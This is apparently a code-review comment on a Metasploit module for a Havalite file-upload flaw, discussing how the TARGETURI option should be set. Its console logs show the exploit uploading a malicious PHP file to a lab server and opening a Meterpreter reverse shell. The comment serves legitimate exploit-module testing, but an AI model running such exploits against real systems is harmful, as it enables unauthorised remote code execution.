mmm so if I install the application on a subdirectory on the web root:

```
root@ubuntu:/var/www/app# ls
hava_feed.php  hava_filter.php  havalite  index.php  license.txt  readme.html  robots.txt  test.php
root@ubuntu:/var/www/app# pwd
/var/www/app
```

The application is now accessible via http://192.168.172.238/app/

* Now my TARGETURI would be /app/ , right? It is what happens:

```
msf exploit(havalite_upload_exec) > show options

Module options (exploit/unix/webapp/havalite_upload_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        Use a proxy chain
   RHOST      192.168.172.238  yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  /app/            yes       The base path to havalite
   VHOST                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Generic (PHP Payload)


msf exploit(havalite_upload_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] 192.168.172.238:80 - Uploading malicious file...
[-] Exploit failed [not-found]: 192.168.172.238:80 - No upload.php found
msf exploit(havalite_upload_exec) > 

```

So I've to configure the TARGETURI as "/app/havalite/":

```
msf exploit(havalite_upload_exec) > set TARGETURI /app/havalite/
TARGETURI => /app/havalite/
msf exploit(havalite_upload_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] 192.168.172.238:80 - Uploading malicious file...
[*] 192.168.172.238:80 - Executing sRODJ.php...
[*] Sending stage (39195 bytes) to 192.168.172.238
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.238:43326) at 2013-06-19 10:53:14 -0500

```

Since the "/havalite/" subdirectory is from the application I understand it shouldn't be on the TARGETURI option... but maybe I'm wrong understanding the semantics of the TARGETURI option. If the intended purpose of the TARGETURI is to provide the full path until the vulnerable component, then I'm wrong and it's ready to be merged! just awaiting for ack from @wchen-r7